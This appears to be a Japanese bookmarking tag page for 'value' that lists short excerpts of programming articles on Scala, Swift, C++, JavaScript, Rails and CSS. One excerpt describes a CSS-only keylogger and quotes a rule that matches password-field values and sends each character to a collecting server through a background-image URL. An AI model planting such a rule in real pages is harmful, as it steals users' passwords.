タグ value
人気順 5 users 10 users 100 users 500 users 1000 users変数(variable)と値(value) - ソフトウェア設計を考える
はじめてScalaに触れたとき、変数宣言(var)と値宣言(val)を使い分ける言語仕様に、なるほどなあ、と思った。簡単に言えば、変数(var)は再代入できて、値(val)は再代入できない。 プログラミングのスタイルとして、var宣言は命令的なプログラミング、val宣言は宣言的なプログラミングになる。どちらのプログラミングス... 続きを読む
Atomic Architecture
Atomic Architecture 1. Atomic Architecture kawasima すえなみチャンス2019夏 2. Atomicity 3. 設計要素をAtomicに分解し、 よく知られた設計パターンの解説を試みる Value (pure) Function Namespace Time Identity 値そのもの。またはその集合。 副作用のない関数 値の集合の一意性 業務上の時間の概念 名前空間 『S... 続きを読む
メルカリの3つのValueで取り組むインシデント対応 - Mercari Engineering Blog
2018 - 04 - 10 メルカリの3つのValueで取り組むインシデント対応 TL;DR メルカリには Go Bold 、 Be Professional 、 All for One という3つの行動指針(Value)があります。今回はこれらのValueを元にメルカリでインシデント対応をどのように行っているかを紹介します。 インシデント対応とは 本エントリでは、いわゆるハードウェアやネットワ... 続きを読む
CSSだけでキーロガーを作る - R42日記
2018 - 02 - 21 CSSだけでキーロガーを作る https://github.com/maxchehab/CSS-Keylogging よくもまあこんなこと思いついたなw 要するに、 input [ type = "password" ][ value $= "a" ] { background-image : url( "http://localhost:3000/a" ) ; } ... 続きを読む
lltsvでLTSV形式のデータをサクサクパースしよう - Mercari Engineering Blog
2017 - 05 - 09 lltsvでLTSV形式のデータをサクサクパースしよう SREチームの @cubicdaiya です。 今回は lltsv というツールを利用して LTSV 形式のデータを処理する術について解説します。 LTSV LTSV はLabeled Tab-separated Valuesの略で、コロンで区切られたラベルと値の組み合わせ(key:value)をタブ区切りで表現... 続きを読む
Swiftにおけるclassとstructの使い分け - cockscomblog?
2016 - 01 - 01 Swiftにおけるclassとstructの使い分け Swift Development 日記 新年あけましておめでとうございます。 class, struct Swift にはclass ( class )の他にstructure ( struct )があり、どちらもよく似た機能を提供する。しかしそれぞれ参照型 (reference type)と値型 (value ... 続きを読む
Webページのレイアウトに役立つ20のデザインテクニック | コリス
ページのレイアウトをする時に全てが同じ大きさ・形・色だと、それは非常に退屈なデザインになってしまいます。要素を整理し、階層をつくり、重要な箇所にフォーカスがあたるようにするにはコントラストを効果的に使うことです。 レイアウトにビジュアルの興味を加え、デザインを生き生きとさせるコントラストの使い方を紹介します。 色の値(value)とはカラーの明るさや暗さをあらわす用語で、ピュアブラックとピュアホワ... 続きを読む
Rails の `utf8=✓` の歴史と消し方と snowman ☃ - Qiita
Rails の form_tag や form_for で form を作成すると <input name="utf8" type="hidden" value="✓"> という input 要素が自動で追加されて、submit すると utf8=✓ というパラメータが付いてくる。これの歴史と消し方を調べた。 Rails3 で、Internet Explorer 5、6、7、8 にパラメータを U... 続きを読む
前置インクリメント vs 後置インクリメント | 闇夜のC++
このアーティクルでは前置と後置、2種類のインクリメントについて考察と現状をまとめるものです。 長年の常識 従来(~2015)は前置インクリメント(++value)と後置インクリメント(value++)の挙動の違いを正しく完全に理解した上で前置インクリメントを使うべきだ。というのがC++プログラマの基本姿勢でした。 各インクリメントの標準的な実装を以下に示します。// 前置インクリメント T& T:... 続きを読む
[JavaScript] ループ途中で抜ける処理は for(in break) ではなく some を使おう♪ - Qiita
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; for (var i=0,len=arr.length; i<len; ++i) { var value = arr[i]; if (value > 5) { break; } console.log(value); } [runstant] Array.prototype.some 5 以上だったら true ... 続きを読む
RSpec をやめて Test::Unit に戻る - @tmtms のメモ
2014-10-12 RSpec をやめて Test::Unit に戻る Ruby 最近の RSpec は、それまで obj.stub(hoge: value) と書けたものが、 allow(obj).to receive(:hoge).and_return value と書かないといけなくなったりとか、正気の沙汰とは思えないような変更をしたりするので、何年かぶりに Test::Unit を使って... 続きを読む
Rubyのイテレータメソッドと似ているJavascriptの便利なメソッド - Qiita
ECMAScript5になり、Rubyのイテレータメソッドに似たメソッドはJavascriptでも使えるようになった。それが下記のメソッドである オブジェクトはArrayである forEach(Rubyのeachのようなもの) var array = [1, 2, 3, 4, 5]; var sum = 0; array.forEach(function(value){ sum = value +... 続きを読む
Promise時代のJavaScriptの関数の処理/提供 - mizchi's blog
2014-05-03 Promise時代のJavaScriptの関数の処理/提供 最近自分で非同期前提のプラグイン書くときはThenableな感じで書いてることが多い。 Thenableってのはどういうことかというと、typescirptのes6-promises では次のように定義してある。 interface Thenable<R> { then<U>(onFulfilled: (value:... 続きを読む
js で利用する DOM の名前をどうやってつけたらよいのか - willnet.in
js で DOM をゴニョゴニョしたい時、きっと皆さんは id や class で DOM に名前を付けて、その名前を利用して js の処理を書いていると思います。 例えば<input type="button" class="update" value="更新" />のようなボタンがあったとして、 js 側で更新処理を書くときには下記のように書きます。 $('.update').on('clic... 続きを読む
XMLHttpRequestを使ったCSRF対策 - 葉っぱ日記
XMLHttpRequestを使うことで、シンプルにCSRF対策が行える。POSTするJavaScriptは以下の通り。 function post(){ var s = encodeURIComponent( document.getElementById("mail").value ) + "&" + encodeURIComponent( document.getElementById("m... 続きを読む
HTML5 カスタムデータ属性「data-*」にJavaScript、jQueryからアクセスする方法 | Dress Cording
HTML5では「data-*="value"」の形式で属性名にプライベートな値を設定できるカスタムデータ属性の仕様と、そのカスタムデータ属性にJavaScriptからアクセスするAPIが定義されました。 でも実はJavaScriptだけではなく、jQueryはもちろんCSSからでもアクセスすることができるのです。 それなら私も私だけの属性作ってみたい! ということで、今回から3回の連載で、Java... 続きを読む
ちょっと高度にJavaScript/クロージャでイベントハンドラを作る | クラスメソッド開発ブログ
前回の解説では、クロージャの「変数が保持される」「変数が隠蔽される」という特徴を使って、アクセサメソッドを作りました。 今回は、「呼ぶたびにクロージャが生まれる」特徴を使ってみます。 繰り返し処理内でイベントハンドラを作る まずは、何の工夫もなくやってみます。今回はjQueryも使います。 $(function() { var data = [ {label:'リンク1', value:1}, {... 続きを読む
鶴見大学・歯学部の授業内容が中学生レベルでひどいと話題に | ニュース2ちゃんねる
鶴見大学歯学部一年のカリキュラム http://ccs.tsurumi-u.ac.jp/syllabusdental/1_P118.pdf(pdf注意) http://blog-imgs-44.fc2.com/n/e/w/news020/Screenshot_1_20120120150142.jpg 偏差値48 鶴見大学(歯) http://igakubu.manaboyo.com/value/v... 続きを読む
JSON.stringifyでオブジェクトをいい感じに整形できるぞ - hitode909のダイアリー
JSON.stringifyでオブジェクトをいい感じに整形できます.あまり知られていない気がしたので,皆様にお知らせしようと思います. まずこれを読んでください. JSON.stringify(value, replacer, space) value any JavaScript value, usually an object or array. replacer an optional pa... 続きを読む
ホーム | freenote
freenote<input type="checkbox" name="remember" value="1" id='remember' /> 次回から自動的にログイン ※パスワードを忘れた方はこちら 続きを読む
jQueryだけでURLをパースするプラグイン「jQuery-URL-Parser」 | Web活メモ帳
これは便利そう。いつか使うかもしれないので、メモ的にエントリーです。 「jQuery-URL-Parser」を使うと、URLを分解して簡単に値を取得できますよ。 使い方はこんな感じです。 var url = $.url('http://example.com/folder/index.php?item=value'); url.param('item'); こうするとクエリーのitemの値”val... 続きを読む
君の発売日 - ドラッグで複数のチェックボックスをチェックする
■[javascript]ドラッグで複数のチェックボックスをチェックする 23:39 http://skit.dip.jp/lab/js/draggable_checks つくった。table,ol,ulに対応。 <h2>旅行したいところは?</h2> <ul id="prefs"> <li><label><input type="checkbox" name="prefs[]" value="1... 続きを読む